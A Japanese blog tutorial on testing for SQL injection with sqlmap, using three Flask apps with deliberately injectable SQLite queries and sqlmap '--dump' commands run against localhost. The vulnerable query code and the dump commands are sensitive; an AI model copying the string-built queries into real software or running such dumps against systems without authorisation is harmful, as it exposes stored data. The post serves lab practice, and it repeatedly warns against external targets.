CUBE SUGAR CONTAINER

技術系のこと書きます。

sqlmap を使って SQL インジェクションの脆弱性を検証する

sqlmap は SQL インジェクションに特化したオープンソースのペネトレーションテストツール。 これを使うと Web アプリケーションの特定のパラメータに SQL インジェクションの脆弱性があるか否かを確認しやすい。

注意: 外部のサーバに使うことは攻撃となるので絶対にしないように。

今回使った環境は次の通り。

$ sw_vers    
ProductName:    Mac OS X
ProductVersion: 10.12.6
BuildVersion:   16G29
$ sqlmap --version
1.1.8#stable
$ python --version
Python 2.7.10

インストール

sqlmap は Homebrew でインストールできる。

$ brew install sqlmap

これで sqlmap コマンドが使えるようになる。

$ sqlmap --version
1.1.8#stable

ちなみに sqlmap は Python で書かれているけど Python 3 では動かない。

$ python --version
Python 3.6.2
$ sqlmap   
[CRITICAL] incompatible Python version detected ('3.6.2'). For successfully running sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'http://www.python.org/download/')

作者の方針的に Python 3 対応をする予定はないようだ。

Port code to Python 3 · Issue #93 · sqlmapproject/sqlmap · GitHub

ターゲット

今回はツールの検証のために意図的に SQL インジェクションの脆弱性を仕込んだ Web アプリケーションを用意してみた。 これは Python の Flask で書いてある。 データベースには組み込みで使える SQLite3 を使った。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sqlite3

from flask import Flask
from flask import request
from flask import abort
from flask import jsonify

app = Flask(__name__)


@app.route('/users')
def get():
    # クエリパラメータから 'name' の値を取得する
    name = request.args.get('name')
    # ひとまずクエリパラメータは必須ということで
    if name is None:
        abort(400)

    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    try:
        # XXX: クエリの組み立てにプレースホルダーを使っておらず SQL インジェクションが発生しうる
        query = 'SELECT * FROM users where name like \'{name}\''.format(name=name)  # noqa
        cursor.execute(query)

        # 結果を取得して表示する
        result = cursor.fetchall()
    finally:
        # 後片付け
        cursor.close()
        conn.close()

    # レスポンスの組み立て
    response_body = {
        'users': [
            {
                'name': name,
                'age': age,
            }
            for name, age in result
        ]
    }
    response = jsonify(response_body)
    response.status_code = 200
    response.headers['Content-Type'] = 'application/json'
    return response


def initialize_db():
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    try:
        # 既存の内容があれば消す
        cursor.execute('DROP TABLE IF EXISTS users')
        # テーブルのスキーマを作る
        cursor.execute('CREATE TABLE users (name TEXT, age INTEGER)')
        # ダミーデータを追加する
        cursor.execute('INSERT INTO users VALUES (?, ?)', ('Alice', 20))
        cursor.execute('INSERT INTO users VALUES (?, ?)', ('Bob', 25))
        cursor.execute('INSERT INTO users VALUES (?, ?)', ('Carol', 30))
        conn.commit()
    finally:
        # 後片付け
        cursor.close()
        conn.close()


def main():
    # データベースを初期化する
    initialize_db()
    # アプリケーションを起動する
    app.run()


if __name__ == '__main__':
    main()

上記のアプリケーションは SQL の実行にプレースホルダを使っていないため SQL インジェクションの脆弱性がある。

使い方

動かすには Flask が必要なのでインストールする。

$ pip install flask

あとは先ほどのファイルを適当な名前で保存して実行するだけ。

$ python queryparam.py 
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

上手くいけば次のように URL のクエリパラメータで既存のユーザを検索できるアプリケーションが動く。 ただ、このパラメータ name には SQL インジェクションの脆弱性がある。

$ curl 'http://localhost:5000/users?name=Alice'
{
  "users": [
    {
      "age": 20,
      "name": "Alice"
    }
  ]
}

sqlmap でペネトレーションテストする

それでは sqlmap を使って先ほどのアプリケーションをペネトレーションテストしてみよう。

クエリパラメータであれば -u オプションを使って URL をそのまま指定するだけでテストできる。 --dump オプションは脆弱性があったときにデータベースの内容をダンプすることを意味する。

$ sqlmap -u 'http://localhost:5000/users?name=Alice' --dump

いくつか質問に答えていって、脆弱性が実際に見つかると次のような出力が得られる。

$ sqlmap -u 'http://localhost:5000/users?name=Alice' --dump
...(snip)...
GET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

さらに進めると users テーブルの内容が表示される。

$ sqlmap -u 'http://localhost:5000/users?name=Alice' --dump
...(snip)...
GET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
...(snip)...
Database: SQLite_masterdb
Table: users
[3 entries]
+-----+-------+
| age | name  |
+-----+-------+
| 20  | Alice |
| 25  | Bob   |
| 30  | Carol |
+-----+-------+

仮にこれが実際の攻撃ならデータベースの内容を盗み出されていたことになる。

フォームタグ内のパラメータをテストする

さっきはクエリパラメータだったけど、次はフォームタグで送信される内容を想定してみよう。 これはようするに Content-Typeapplication/x-www-form-urlencoded されるもの。

サンプルコードは次の通り。 先ほどと同じようにユーザを検索するというもの。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sqlite3

from flask import Flask
from flask import request
from flask import abort
from flask import jsonify

app = Flask(__name__)


@app.route('/users', methods=['POST'])
def post():
    # フォームパラメータから 'name' の値を取得する
    name = request.form.get('name')
    # ひとまずクエリパラメータは必須ということで
    if name is None:
        abort(400)

    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    try:
        # XXX: クエリの組み立てにプレースホルダーを使っておらず SQL インジェクションが発生しうる
        query = 'SELECT * FROM users where name like \'{name}\''.format(name=name)  # noqa
        cursor.execute(query)

        # 結果を取得して表示する
        result = cursor.fetchall()
    finally:
        # 後片付け
        cursor.close()
        conn.close()

    # レスポンスの組み立て
    response_body = {
        'users': [
            {
                'name': name,
                'age': age,
            }
            for name, age in result
        ]
    }
    response = jsonify(response_body)
    response.status_code = 200
    response.headers['Content-Type'] = 'application/json'
    return response


def initialize_db():
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    try:
        # 既存の内容があれば消す
        cursor.execute('DROP TABLE IF EXISTS users')
        # テーブルのスキーマを作る
        cursor.execute('CREATE TABLE users (name TEXT, age INTEGER)')
        # ダミーデータを追加する
        cursor.execute('INSERT INTO users VALUES (?, ?)', ('Alice', 20))
        cursor.execute('INSERT INTO users VALUES (?, ?)', ('Bob', 25))
        cursor.execute('INSERT INTO users VALUES (?, ?)', ('Carol', 30))
        conn.commit()
    finally:
        # 後片付け
        cursor.close()
        conn.close()


def main():
    # データベースを初期化する
    initialize_db()
    # アプリケーションを起動する
    app.run()


if __name__ == '__main__':
    main()

先ほどと同じように適当な名前をつけて実行する。

$ python contentbody.py 
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

curl コマンドからは次のようにして呼び出せる。

$ curl -X POST -d 'name=Alice' http://localhost:5000/users
{
  "users": [
    {
      "age": 20,
      "name": "Alice"
    }
  ]
}

sqlmap コマンドで上記のパラメータをテストするときは --data オプションを使う。

$ sqlmap -u 'http://localhost:5000/users' --data 'name=Alice' --dump

実行すると次のようにデータベースの内容がダンプして得られる。

$ sqlmap -u 'http://localhost:5000/users' --data 'name=Alice' --dump
...(snip)...
Database: SQLite_masterdb
Table: users
[3 entries]
+-----+-------+
| age | name  |
+-----+-------+
| 20  | Alice |
| 25  | Bob   |
| 30  | Carol |
+-----+-------+

JSON を使った WebAPI をテストする

次は Content-Typeapplication/json な WebAPI をテストするときについて。

サンプルコードは次の通り。 WebAPI なのに POST でユーザを検索するっていう、ちょっと不自然なものになっちゃってる。 これは INSERT とか UPDATE を使った SQL インジェクションは難しくて sqlmap がそれに対応していないのが理由。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sqlite3

from flask import Flask
from flask import request
from flask import abort
from flask import jsonify

app = Flask(__name__)


@app.route('/users', methods=['POST'])
def post():
    # クエリパラメータから 'name' の値を取得する
    name = request.json.get('name')
    # ひとまずクエリパラメータは必須ということで
    if name is None:
        abort(400)

    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    try:
        # XXX: クエリの組み立てにプレースホルダーを使っておらず SQL インジェクションが発生しうる
        query = 'SELECT * FROM users where name like \'{name}\''.format(name=name)  # noqa
        cursor.execute(query)

        # 結果を取得して表示する
        result = cursor.fetchall()
    finally:
        # 後片付け
        cursor.close()
        conn.close()

    # レスポンスの組み立て
    response_body = {
        'users': [
            {
                'name': name,
                'age': age,
            }
            for name, age in result
        ]
    }
    response = jsonify(response_body)
    response.status_code = 200
    response.headers['Content-Type'] = 'application/json'
    return response


def initialize_db():
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()

    try:
        # 既存の内容があれば消す
        cursor.execute('DROP TABLE IF EXISTS users')
        # テーブルのスキーマを作る
        cursor.execute('CREATE TABLE users (name TEXT, age INTEGER)')
        # ダミーデータを追加する
        cursor.execute('INSERT INTO users VALUES (?, ?)', ('Alice', 20))
        cursor.execute('INSERT INTO users VALUES (?, ?)', ('Bob', 25))
        cursor.execute('INSERT INTO users VALUES (?, ?)', ('Carol', 30))
        conn.commit()
    finally:
        # 後片付け
        cursor.close()
        conn.close()


def main():
    # データベースを初期化する
    initialize_db()
    # アプリケーションを起動する
    app.run()


if __name__ == '__main__':
    main()

上記のアプリケーションは curl コマンドからだと次のように呼び出せる。

$ curl -X POST -H "Content-Type: application/json" -d '{"name": "Alice"}' http://localhost:5000/users
{
  "users": [
    {
      "age": 20,
      "name": "Alice"
    }
  ]
}

上記を sqlmap でテストするときは、まず Content-Body に JSON を含んだリクエスト内容をファイルとして用意しておく。

$ cat << 'EOF' > json-request.txt
POST /users HTTP/1.1
Host: localhost:5000
Content-Type: application/json

{"name": "Alice"}
EOF

sqlmap コマンドでは、上記のファイルを -r オプションで指定する。

$ sqlmap -r json-request.txt --dump

すると JSON 使ってる?って sqlmap が確認してくるので Y する。

$ sqlmap -r json-request.txt --dump

JSON data found in POST data. Do you want to process it? [Y/n/q]

あとはこれまでと同じようにやっていくとデータベースの内容が出力された。

...(snip)...
Database: SQLite_masterdb
Table: users
[3 entries]
+-----+-------+
| age | name  |
+-----+-------+
| 20  | Alice |
| 25  | Bob   |
| 30  | Carol |
+-----+-------+

まとめ

今回は sqlmap を使った SQL インジェクションのペネトレーションテストをするやり方について書いた。 正直なところ SQL インジェクションくらい初歩的な脆弱性ならコードを確認した方が早いのではとも思ってしまう。 しかし、脆弱性の有無を調べるにはコードを確認するような静的解析以外にも、今回やったような動的解析もまた一つのやり方といえるだろう。 繰り返しになるけど sqlmap を外部のサーバに使うのは攻撃になるので絶対にやらないこと。

コンピュータネットワークセキュリティ

コンピュータネットワークセキュリティ